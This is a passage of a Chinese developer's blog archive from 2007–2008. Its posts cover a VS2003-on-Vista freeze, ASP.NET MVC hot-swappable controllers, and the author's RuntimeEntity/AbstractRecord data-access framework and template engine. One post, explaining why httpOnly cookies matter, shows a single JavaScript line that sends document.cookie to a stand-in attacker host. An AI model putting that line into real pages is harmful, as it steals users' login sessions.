迷失网络

如果你误读成“迷失公园”或“迷失侏罗纪”,那你可能真的迷失网络了。
随笔 - 88, 评论 - 1932, 引用 - 106

导航

关于

lostinet@lostinet.com这个油箱不能用了。因为空间没了,lostinet.com指向为127.0.0.1 。。。

标签

每月存档

最新留言

广告

【第1页/共5页,89条】
首页
前页
1
2008年01月24日

虽然是小事情,不过也在这里说一下.

最近因为工作的问题,新买了一台SONY的笔记本.

现在的笔记本都是安装VISTA的, 想安装XP吧, 还找不到硬盘.

而且因为没有软驱, 所以安装时也弄不了硬盘驱动.

这个问题只好以后有空的时候解决了.

现在用VISTA安装了VS2003后, 出现了一个很严重的问题.

使用FIND IN FILES功能时, VS2003会停止响应.

上网找相关信息, 有人已经报告这个问题了.

不过MS说不管VS2003了. 

 

后来发现了另外一台VISTA的电脑不存在这个问题.

以对比原来是WINDOWS THEMES的问题.

只要把WINDOWS外观, 改成比较难看的标准模式,(就像WIN2000那样..)

就能把问题解决掉了.

 

希望这个记录对VISTA下用VS2003的同行有帮助.

 

 

 

posted on 2008-01-24 11:56:00 by lostinet  评论(12) 阅读(4493)

 
2007年12月11日

让 ASP.NET MVC 支持 HotSwap

下载这次的例子代码 [ http://www.cnblogs.com/Files/Lostinet/Asp35Website1.zip ]

 

在HowToStart那帖中,我提到了ASP.NET MVC的问题 :
如果修改一次Controller的代码,就导致ASP.NET重启一次 , 那么会不会很麻烦?

有时候一个项目大一点, ASP.NET启动一次需要几十秒, 那样的等待真的很浪费时间.

与思归的交谈中, 他提到了HotSwap的概念. "热插拔" - 编写代码后不需要重新编译或重启ASP.NET.


怎样实现这个功能呢? 现在MVC的文档很少. 只能通过Reflector去找答案了.

一个Request,从Url, 一直到了具体的 Controller , 经过了那些步骤呢?

下面列出了这个步骤的详细:
1. Url
2. RouteTable
3. MvcRouteHandler
4. MvcHandler
5. ControllerBuilder
6. ControllerFactory
7. Controller

这个过程中, MvcRouteHandler 是连接 RouteTable 和 MvcHandler 的桥梁.

MvcHandler则根据传递过来的信息, 根据某种规则, 从所有的Assembly中找到对应的Controller类

然后把类型信息传递给 ControllerBuilder/ControllerFactory , 用于指定一个更具体的Controller.
(类似RuntimeEntity那篇文章说的子类化模式..)

看来, 需要对MvcHandler下手了. 而 MvcRouteHandler 则就是 MvcHandler 的 Factory.

所以同时也要编写MvcRouteHandler的实现 :
public class HotSwapMvcRouteHandler : System.Web.Mvc.MvcRouteHandler
{
    protected override IHttpHandler GetHttpHandler(System.Web.Mvc.RequestContext requestContext)
    {
        HotSwapMvcHandler handler = new HotSwapMvcHandler();
        handler.RequestContext = requestContext;
        return handler;
    }
}
public class HotSwapMvcHandler : System.Web.Mvc.MvcHandler
{
    protected override Type GetControllerType(string controller)
    {
        string name = controller + "Controller";
        string file = "~/Controllers/" + name + ".cs";
        if (!System.IO.File.Exists(HttpContext.Current.Server.MapPath(file)))
            return base.GetControllerType(controller);
        System.Reflection.Assembly assembly = System.Web.Compilation.BuildManager.GetCompiledAssembly(file);
        return assembly.GetType(name, true, true);
    }
}

上面2个类, 写在App_Code里就OK了, 然后, 需要修改一下 RouteTable 的写法:
RouteTable.Routes.Add(new Route
{
    Url = "[controller]/[action]/[id]",
    Defaults = new { action = "Index", id = "" },
    RouteHandler = typeof(HotSwapMvcRouteHandler)
});

注意一下 , RouteHandler由MvcRouteHandler替换成 HotSwapMvcRouteHandler 了.
这样HotSwapMvcRouteHandler的代码就能够被执行, 返回HotSwapMvcHandler

HotSwapMvcHandler 这里得到了一个 controller 的参数, 就是它了.
我们要做的事情,就是根据它 , 找到我们想要的 Controller

上面的GetControllerType的具体实现也实在太简单了.
如果存在 ~/Controllers/XxxControler.cs
就编译它, 然后直接返回 XxxController 类型.
否则就按传统的方式去寻找对应的类.

----

OK , 就这样2步, 就实现了在 ~/Controllers/ 中存放Controller代码的目的了.
重温一下这2步:
1. App_Code中增加 HotSwapMvcRouteHandler , HotSwapMvcHandler
2. Global.asax中修改RouteTable的定义


然后,就可以在 ~/Controllers/ 下增加 TestController.cs , 内容是
public class TestController : Controller
{
    [ControllerAction]
    public void Index()
    {
        ViewData["typename"] = this.GetType().AssemblyQualifiedName;
        ViewData["version"] = "version5";
        RenderView("index");
    }
}

然后创建对应的 ~/Views/Test/index.aspx 把东西显示出来:
index.aspx
<hr />
<%=ViewData["version"] %>
<hr />
<%=ViewData["typename"] %>
<hr />
<%=Application["mystr"] = "1" + Application["mystr"]%>

显示:
version5
--------------------------------------------------------------------------------
TestController, App_Web_testcontroller.cs.39ee6e8a.c0bebgfm, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
--------------------------------------------------------------------------------
111

不断地刷新它,  Application["mystr"]就会越来越长.

然后去修改 TestController.cs 把. 把ViewData["version"] = "version123";
那么就会立刻生效, 显示version123,而Application["mystr"]没有重置, 证明ASP.NET并没有重启.


想提高开发的方便性的朋友 , 不妨试试上面的代码.


 

posted on 2007-12-11 01:30:00 by lostinet  评论(7) 阅读(4986)

 
2007年12月10日

有没有人下载了ASP.NET MVC ?

无法知道如何开始.

用VS Web Developer Express 2008,有项目模板 [ASP.NET 3.5 Extensions Web Site],

新建了,只有一个web.config里包含了一些必要的配置. 例如UrlRoutingModule.

建立了Controllers目录,建立了一个TestController类

然后建立Views目录,在下面继续建个Test目录.

然后浏览http://localhost:3759/Asp35Website1/Test/. 很不幸. 无法找到资源.

不知道还需要配置些什么. 请大家在这里聊聊.


 

posted on 2007-12-10 22:18:00 by lostinet  评论(8) 阅读(5040)

 
2007年11月10日

自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.

这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .

而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.


但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?

例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.

你知道cnblogs.com允许用户随意增加javascript的.

那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:

hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)

当然,ASP.NET发送给客户端的信息是加密过的.

但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.

 

所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.

但是如果使用IE6SP1,IE7,就不会存在该问题.

因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.

posted on 2007-11-10 12:36:00 by lostinet  评论(7) 阅读(4420)

 
RuntimeEntity除了简单易用,性能优越之外. 还有一些很有特色的机制:

负载平衡下的缓存版本控制.

通常如果一个使用缓存的应用程序,都会遇到一个问题:
如何保证每个进程的缓存都是最新的?
如果每个进程中的数据不是最新,那么一个应用程序将会发生不可预知的错误.
这种不稳定性是会让人睡不了觉的.
通常一些系统会有这样的做法:
1.完全不做缓存的同步或检查 , 错误就错误, 由它.
有时候这种做法也是无奈的,因为项目资金有限,或者架构上已经定型.不好处理.
2.使用分布式架构, 用一台服务器访问数据/或者缓存数据.
这个做法的最大问题就是导致序列化的开销. 大大地降低系统性能.

RuntimeEntity使用一种特殊的缓存方案.
具体的原理是,在每台服务器上, 都自行存放数据.
当服务器上的代码通过RuntimeEntity加载数据时,
RuntimeEntity会去向"版本服务器"查询数据的版本.
也就是说,这个方案和分布式缓存最大的不同就是 ,
每台服务器需要较大的内存 , 但是只进行极少的数据通信, 完全避免序列化.

这个方案通过配置完成. 完全不需要改动代码.
使用RuntimeEntity编写一次代码 , 就轻易实现在性能方面的伸缩性要求.

数据库服务器端并发检查

RuntimeEntity提供了2个级别的并发检查.
默认是应用程序进程内的对象的自动锁定,尽量避免并发问题.
一旦出现数据的并发错误,就会抛出异常,阻止错误的操作,保证数据的正确性.

这种级别的并发检查, 适合部署在单进程的Web服务器中.
一旦需要部署在多个服务器中进行负载平衡 , 那么单靠进程内检查是远远不够的.

所以RuntimeEntity提供了,和DLinq类似的, 数据库服务器端的并发检查.
一旦要进行UPDATE/DELETE,就会发送所有的本地数据到数据库上进行比较.

这个操作会稍微降低性能. 但是它是可选的. 只需要进行配置就OK. 无需额外编码.

开发人员还可以使用Timestamp类型进行更好的检查机制.
(在数据表加一个Timestamp字段就OK了,无需编码)
这个也是数据库服务器端的检查,而且性能更好.


强大的子类化扩展方案

当一家软件公司希望开发通用的应用程序时, 总会遇到一个问题:
如何在不修改现有代码的情况下,改变系统的默认行为,针对具体情况进行扩展?

RuntimeEntity在不改动代码的情况下, 直接提供一个子类化的扩展方案.
具体原理就是RuntimeEntity的代码编写中, 是不存在new MyRecord()这样的创建对象的方式的.
任何NewRow,LoadRow操作创建对象,都是由RuntimeEntity代理.
当进行适当的配置后, 在执行例如RuntimeEntity.NewRow<MyEntity>()的时候,
RuntimeEntity就可以根据配置, 创建一个 MyAnotherEntity 对象:
public abstract class MyAnotherEntity : MyEntity
{
    override public void MyLogic()
    {
        base.MyLogic();
        MyCustomOperation();
    }
}
就如上面代码所示 , 通过override一个业务方法 , 直接就可以重写业务逻辑.


灵活,高性能的AOP方案

RuntimeEntity在运行的时候, 根据配置, 允许其他类拦截Entity上的virtual的方法.
这个功能非常有用. 尤其当架构师想实现一些插件,扩展功能的时候.
当一个Entity的任何virtual方法被调用,或者是进行INSERT/UPDATE/DELETE的时候,
都能通过配置的方式,让扩展的代码得到通知,获取改变参数/返回值.

而这个功能的实现方式, 是在运行时进行编译, 性能非常高. 而又无需安装VS插件之类的.

- - - - - - - -
这些高级的功能, 大多都是可以在运行时进行扩展.
而不需要改变编码规则. 这也是RuntimeEntity的名字的来由.

RuntimeEntity Preview 中并不包含以上所列的功能.

posted on 2007-11-10 12:36:00 by lostinet  评论(4) 阅读(4129)

 
2007年11月09日
之前发过3个相关的文章:
AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)
CSPAbstractRecord之Teddy's KB样式的性能报告.
近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.
因为最近比较忙. 所以一直没有继续做那个工程.

现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载:
/Files/Lostinet/RuntimeEntityPreview.rar

压缩文件内容简介:
RuntimeEntityPreview.dll 这个dll就是框架的运行库.
RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须)
RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联Database文件夹内的数据库文件.
RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.

什么人该下载它 ?
一 : 看过之前的文章的,感兴趣的,想测试一下性能的.
二 : 自己也写过数据库访问框架的,可以拿来对比一下.
三 : 一直都没找到合适自己的数据库访问框架的.
四 : 总觉得数据库访问框架很复杂,想学习又怕难的.
...

RuntimeEntityPreview有什么好玩的?
+ : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力.
+ : 极高性能的实现. 欢迎拿去与各种情况做性能的比较.
+ : 有自制的Linq Provider. 可以执行这样的代码:
var q = from row in Order.LinqSource
where row.Customer.City.Substring(3).Trim().StartsWith("don")
select row;
有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下.
+ : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库:
(但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)


关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章.
或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]

另外我们正在找有一年经验以上初中级的界面程序员:
CuteSoft珠海办事处诚招2位界面程序员

posted on 2007-11-09 02:59:00 by lostinet  评论(1) 阅读(3416)

 
2007年10月11日

AbstractRecord这个名字不是很好,因为我不是太喜欢AEIOU开头的名词.
所以我选择了一个在google上,记录很少的名字,作为这个数据库访问框架的名字:RuntimeEntity
这个框架远在8月份就已经完成了一大半.然后就停止了.因为这段时间无论是工作还是生活,都有更加重要的事情要做.
这个星期将完成那些重要的事情,我会用业余的时间,整理一下RuntimeEntity,然后发布一个预览版本.

这次写BLOG,完全是受微软ASP.NET MVC的刺激.
微软的新的MVC框架, 似乎抛弃了ASP.NET控件,抛弃了ASP.NET AJAX.
回归到纯粹Render HTML的地步.我完全无法理解微软的这个做法.

当然,在那个MVC中,程序员仍然可以用XmlHttpRequest,或者其他封装好的框架去进行AJAX,
但是ASP.NET AJAX呢?没有回发,这不止否认了ASP.NET AJAX,甚至还否认了ASP.NET本身.

微软这么大的公司,难道就没有一条兼容控件和ASP.NET AJAX的做法吗?
甚至沦落到被人骂是抄袭也在所不惜? 新的MVC框架出来了对ASP.NET又有什么意义?
为了变相承认,ASP.NET的控件模式已经不适合WEB的发展了?

请大家宽恕我对MS这么严厉的指控. 我的目的纯粹是想突出我的MVC框架的特色 : 支持控件的模板引擎.
其实当初, 我做的不是MVC, 而只是需要实现一个模板引擎, 用于把视图分离出来, 方便美工.
和网上的其他模板引擎是类似的, 利用PropertyBag和后期绑定, 把内容显示出来.
不同的地方只是语法方面很针对美工的编程水平, 做到条件和循环语句非常简单和适合WYSIWYG.

但是我把我的设计推荐给老板时, 一下就被否决了 : ASP.NET控件怎么办 ?
是的. 如果一个新的东西, 抛弃了太多成熟的技术, 那么固然这个新东西的设计可以更加自由.
但是这个新的东西, 能让人接受吗? 如果微软做一个, 那么依然会有很多人追捧. 再难也会有人接受.
但是像我这样微不足道的人, 要推广自己的技术, 就不是那么简单了.

就像MS内某位语言大师说的一样, DotNet在设计的时候, 为了兼容老的程序, 为了和不同程序之间的整合,
提供了很多"救生圈". DotNet的Interop就是一个很好的例子.

当我做RuntimeEntity的时候,提供了SQL语句的支持,就有人质疑了.
要分清楚的是,搞科研和搞工程是2回事.
现在我要做的东西,一定要是一种过渡的方案,既提供新的功能,又要和老功能兼容.

综上,我对我的模板引擎进行了革新. 让它支持ASP.NET的Control,Postback和AJAX.

其实其中的原理, 是非常简单的. 换个说法, 如果把这个引擎,说成是 "Layout", 我想会更加容易让人理解.

看看传统的ASP.NET页面 :
Test.aspx:
<table>
 <tr><td>Username:</td><td><asp:TextBox runat=server ID=Username></td></tr>
 <tr><td>Password:</td><td><asp:TextBox runat=server ID=Password></td></tr>
 <tr><td>&nbsp;</td><td><asp:Button runat=server ID="LoginBtn" Text="Login"></td></tr>
</table>

新的Layout方案:
Test.aspx:
<asp:TextBox runat=server ID=Username>
<asp:TextBox runat=server ID=Password>
<asp:Button runat=server ID="LoginBtn" Text="Login">

Test.view.html:
<table>
 <tr><td>Username:</td><td>{#render Username}</td></tr>
 <tr><td>Password:</td><td>{#render Password}</td></tr>
 <tr><td>&nbsp;</td><td>{#render LoginBtn}</td></tr>
</table>

新的方案把一个ASPX文件, 分割出另外一个html,用于装载Layout.
可以看到的是, 新的Test.aspx本身,已经完全没有排版了.
里面纯粹就是放置大量程序用到的控件.
而在Test.view.html,则定义了这个页面的布局.

把控件Render到Template中,就是这个MVC方案兼容ASP.NET的核心思想.

做到这一步,这个MVC框架就和其他的纯粹生成HTML的框架完全不同了.

1. 如何支持MasterPage?
Test.view.html的输出过程是这样的:
Page.Render -> MasterPage.Render -> MVC.Render -> 整合Test.view.html+控件
也就是说,这个模板的输出目标, 不是Response, 而是控件Render过程中的一个部分.
这个部分的内容被MasterPage包围着, 所以能很方便地应用上MasterPage.

2. 如何做到回发?
回发和回发后调用控件的事件,是ASP.NET最重要的思想. 也是我不能离开ASP.NET的原因.
其他的所谓[ControllerAction],都不会比这个方便.因为ViewState能传递很多东西,而QueryString不能.
就如MasterPage的流程一样,控件被Render出去后,是和ASP.NET的回发机制兼容的.
当页面回发时,ASP.NET的其他基础流程依然能正常运作.
换个角度来说,这个MVC框架处理的只是Render的过程,改变了控件在浏览器上的位置.
这完全不会对ASP.NET的页面生命期造成任何影响.

3. 如何支持ASP.NET AJAX?
ASP.NET AJAX不愧是一种优秀的局部SmartNaviagtion方案.
它让程序员不需要花精力到DHTML中就能实现界面的局部刷新.
它的实现的机制,是通过拦截Page的Render过程,提取需要刷新的内容来返回给客户端.
这样一来,它就和我的MVC冲突了 : 2个都尝试拦截Render过程的东西, 又怎能放在一起工作 ?
这个MVC能支持AJAX的原因是, MVC拦截的不是Page,而只是内部一个控件的Render过程.
过程是 : AJAX-Page.Render -> Form.Render -> UpdatePanel.Render -> MVC.Render
可以看到的是, MVC.Render的过程, 是被包在UpdatePanel的Render里.
所以MVC生成的内容, 能够通过AJAX发送到客户端, 更新客户端的HTML.

---
其实这帖与其说是介绍帖,还不如说是技术研究帖.
希望能给各template的开发者一个新的思路.

posted on 2007-10-11 14:04:00 by lostinet  评论(13) 阅读(5047)

 
2007年08月15日

最近我在做一个开发框架以及在上面建立的应用程序.
开发框架中包含了一个叫 AbstractRecord 的技术.
这个技术用于访问数据库,但是我不愿意把它称为ORM.

这个东西将能够大大地提高基于数据库的程序的开发速度.

由于篇幅太长,我放到文章区去了.

http://blog.joycode.com/lostinet/articles/107276.aspx 

http://www.cnblogs.com/Lostinet/archive/2007/08/15/857039.html

posted on 2007-08-15 19:24:00 by lostinet  评论(10) 阅读(5107)

 

 

# 前言:数据库交互之路

 

还记得以前在ASP时代,虽然VB/JS是基于对象的, 但是那时做网页的编程, 基本不会去声明对应数据库的格式的类. 当时的编程方式就是, 用ADO的RecordSet去读取数据. RecordSet可以说是一个集合类. 提供了最简单的, 基于字段名读取数据的Indexer. 例如 <%=rs("CustomerName")%> 这样的语句,也许大家都不会觉得陌生. 如果要进行INSERT/UPDATE/DELETE, 那么就需要手动写SQL了. 那时纯粹是传递一条SQL语句. 这个语句是需要程序员自己构造的. 如果一个表有几十个字段, 那条语句写下来, 单单是双引号和单引号就能让人觉得头晕. 好在,我在ASP上, 只工作了8个月. 就转去ASP.NET了.

 

ASP.NET下,我们有全新的ADO.NET. 那时基本都是从DataSet开始的. 因为它实在和RecordSet很像. 当时只是觉得语法有点不同而已. 重要的一点是, SqlDataAdapter能够执行INSERT/UPDATE. 也就是说, 我可以把一条记录Load下来, 然后修改其中的某些属性, 然后再更新回去. 这个过程并不需要写很长的SQL语句. 出错的机会很少.

 

相比ASP时代. ADO.NET已经是救世主了. 当时的我, 并不觉得DataSet有什么不好的.

 

后来ORM在网上热起来. 我突然发觉row["CustomerName"]是个很笨的方法. 在我的桌子旁边, 总有一张数据表结构的印刷版. 当我要操作某张表, 我就把那张纸拿出来对照. 那实在是很麻烦. 我也慢慢体会到那种强类型的对象编程的好处. 不是虚拟继承的好处, 而是当我在vs.net上打一'.'的时候,属性就会被列出来了.

 

是的,我并不关心面向对象有什么好处. 我只希望我的编程工作能简单点,尽量少出错. 可惜那时候的ORM框架并没有解决一些问题. 有些要我先设计对象,然后自动生成数据库. 有些则需要写一大堆的xml文件. 有些生成工具, 要不断地执行用于更新代码. 我自己后来也实现了自己的生成工具, 不过效果也不太理想.

 

后来的一段时间, 我没有去弄那些东西了. 我采用POCO的方案. 老老实实地把数据从SqlDataReader复制到POCO去. 插入和更新的时候, 老老实实地写那种很长的语句. 这个方案其实已经比DataSet好很多了. 起码数据是强类型的对象, 在VS.NET下有提示. 而SqlScope也帮我省了很多代码.

 

后来我渐渐过渡到一种简单的DomainModel+DomainService的方案.我把对象的属性都弄成ReadOnly,把数据都改为internal. 这样就能保护我的数据的逻辑. 这个模型一直用到现在.

 

 

世界在发展,编程的模式不会一成不变. . 在我离开CSDN后,我曾经有一段时间脱离社区. 当我回头时, 才发现自己已经脱离编程世界好久似的. 我充满恐惧, 恐怕被变化所抛弃. 于是我重新返回社区. 先是潜水, 去读博客, 了解这个世界这今年来技术有什么更新. 博客园帮了我很多. 像博客园里很多人都自己做了一套ORM的实现, 正是对以往的数据库操作模型的的不满. 而我也深受他们的影响. 我想起了以前写的文章 <<用 System.Reflection.Emit 自动实现调用存储过程的接口>> http://blog.joycode.com/lostinet/archive/2004/11/19/39238.aspx . 我决定沿用那个方式, 去实现一个全新的ORM.

 

 

# AbstractRecord的基本概念

 

一开始是这样的, 我想用interface来表示一个数据库的记录. 例如

[Table("Employees")]

public interface Employee

{

     string EmployeeName { get;set;}

}

 

后来经过思考, 根本没必要做成interface, 而换成abstract class, 能添加用户自定义的代码, 那样会更好:

[Table("Employees")]

public abstract partial class Employee

{

     public abstract string EmployeeName{get;set;}

}

后面会有一些篇幅去描述作为abstract class的好处.

 

这个编写类型的方式, 不是普通的POCO或者DomainModel. 它也不是Active Record,因为它不需要集成某个基类. 后来我发现它连 ORM 都不是. 因为不存在Mapping这个东西. 它负责的就是读写数据库而已. 也就是说, 它针对的是数据库方面, 而不是对象逻辑方面.

 

我自己给了它一个新的名字 : "Abstract Record" .

 

 

下面直接给出一个例子, 描述AbstractRecord框架下编程的第一印象:

 

拿Northwind数据来说 , 定义方式:

[CSPAR("Categories")]

public abstract partial class Category

{

     public abstract int CategoryID { get;}

 

     public abstract string CategoryName { get;set;}

     public abstract string Description { get;set;}

 

}

 

是的, 就这样, 就足够了. 无需编写配置文件, 也无需定义太多的Attribute, 也不需要定义字段, 然后傻傻地get和set.

 

既然是abstract, 不需要写实现代码了? 不需要. 这就是AbstractRecord的核心思想. 由框架去帮你实现.

 

那么,这样的对象,是无法new Category()的, 怎样实现CRUD操作?? 下面是说明的代码(ASP.NET):

 

//下面是CreateCategory.Aspx的内容

protected void ButtonCreate_Click(object sender, EventArgs args)

{

     Category cate = CSPAbstractRecord.NewRow<Category>();   //实例化一个抽象类!

     cate.CategoryName = textBoxName.Text;

     cate.Description = textBoxDescription.Text;

     CSPAbstractRecord.Save(cate);    //INSERT

     Response.Redirect("EditCategory.Aspx?CategoryID=" + cate.CategoryID); //自动得到自增的id.

}

 

上面的代码,描述了如何创建一个abstract class的实例. CSPAbstractRecord正是负责控制CRUD的类.

CSPAbstractRecord是AbstractRecord在我的那个系统上的实现. 开发人员只需要学习2个类, 就能够完成绝大部分的事情了!

 

//下面是EditCategory.Aspx的内容

protected Category _category;

protected void EnsureCategory()

{

     if (_category != null) return;

     int id = int.Parse(Request.QueryString["CategoryID"]);

     _category = CSPAbstractRecord.LoadRow<Category>(id);    //SELECT

     if (_category == null) throw (new Exception("没有该数据或者数据已经被删除!"));

}

protected override void OnLoad(EventArgs args)

{

     base.OnLoad(args);

     if (IsPostBack) return;

     EnsureCategory();

     //初始化界面

     textBoxName.Text = _category.CategoryName;

     textBoxDescription.Text = _category.Description;

}

protected void ButtonUpdate_Click(object sender, EventArgs args)

{

     EnsureCategory();

     _category.CategoryName = textBoxName.Text;

     _category.Description = textBoxDescription.Text;

     CSPAbstractRecord.Save(_category);   //UPDATE

}

protected void ButtonDelete_Click(object sender, EventArgs args)

{

     EnsureCategory();

     CSPAbstractRecord.Delete(_category); //DELETE

     Response.Redirect("CategoryList.Aspx");

}

 

上面的代码,使用了CSPAbstractRecord.LoadRow和CSPAbstractRecord.Delete去进行SELECT和DELETE的操作.

 

由上面的代码可以看出, AbstractRecord是非常容易使用, 而且, 代码量非常少. 短短几行, 就已经完成CRUD的操作界面. 我实在是想不出能比这种方式更节省代码的方式了.

 

使用AbstractRecord编程的重点:

1. 用极少的代码去定义类型化数据的抽象类.

2. 使用CSPAbstractRecord.NewRow/LoadRow/Save/Delete进行CRUD的操作.

 

 

# 封装数据

 

传统的POCO或贫血的DomainModel都有一个共同点, 就是所有的属性, 都是 get;set 的. 能得到那些对象, 就能随意更改属性, 甚至会破坏应用程序的逻辑. 如果是小型的应用, 业务逻辑简单, 那无所谓. 但是如果是一个复杂的系统, 那么保护数据不被滥用 , 是非常重要的事情. 这个,是很多ORM或相关框架无法做到的.

 

AbstractRecord允许程序员把数据成员定义为protected或者是protected internal. 这就是封装的根本实现方案.

 

就上面那个Category的例子, 里面有一个Picture字段. 通过数据的封装, 可以实现类型的转换:

public abstract partial class Category

{

     protected abstract byte[] InternalPicture { get;set;}

     public System.Drawing.Image Picture

     {

         get

         {

              if (InternalPicture == null)

                   return null;

              return System.Drawing.Image.FromStream(new System.IO.MemoryStream(InternalPicture));

         }

         set

         {

              if (value == null)

              {

                   InternalPicture = null;

                   return;

              }

              System.IO.MemoryStream ms = new System.IO.MemoryStream();

              value.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);

              InternalPicture = ms.ToArray();

         }

     }

}

上面的代码 , 一个是 abstract 的 InternalPicture. 这个属性被读写时, 反映的是数据库字段的读写. 而 public System.Drawing.Image Picture 并不是abstract的, 它通过InternalPicture,实现外部数据类型和数据库类型的转换. 这是程序员自定义的代码, 也就是为什么我使用abstract class, 而不是interface的原因.

 

(TIPS: 我们还可以定义这样的属性: public abstract string MyField { get;internal protected set;} 这种属性能被外部读取, 但只能在同assembly的范围内修改.)

 

基于这种形式的数据封装, 程序员甚至可以把所有的数据属性都定义为protected或protected internal. 然后提供一个公共的方法, 或者是使用另外的一个DomainService去修改那些数据. 业务逻辑就这样被保护起来了.

 

 

# 关系处理

 

关系处理一直是ORM的难题. 因为基于POCO的ORM, 它要帮你填充所有相关的数据, 不能实现LAZY LOAD. 而有些能实现的呢? 则需要很多定义. 或者要继承某个基类, 然后调用基类的方法去取得相关数据.

 

AbstractRecord使用一种基于数据库定义的关系去生成相关对象的实现. 在关系的处理上, 很简单:

[CSPAR("Order Details")]

public abstract partial class OrderDetail

{

     public abstract Order Order { get;}

     public abstract Product Product { get;}

}

 

就是这样,当程序员定义一个abstract的,返回其他相关类型的属性, 就已经完成了多对一关系的定义了. 无需写更多的代码. 无需定义Attribute或者是xml文件.

 

那么一对多呢?

[CSPAR("Orders")]

public abstract partial class Order

{

     public abstract OrderDetail[] Details { get;}

}

 

当返回值改为相关对象类型的数组是, 就是多对一的情况. 一对多,和多对一的定义, 是独立的.少了哪个都可以 .

 

剩下的就是 多对多的"难题"了. 也许你看到下面的代码, 都会惊叹原来多对多是那么地简单:

 

[CSPAR("Orders")]

public abstract partial class Order

{

     public abstract OrderDetail[] Details { get;}

     public Product[] Products

     {

         get

         {

              return Array.ConvertAll<OrderDetail, Product>(Details, delegate(OrderDetail d) { return d.Product; });

         }

     }

}

[CSPAR("Products")]

public abstract partial class Product

{

     public abstract OrderDetail[] Details { get;}

     public Order[] Orders

     {

         get

         {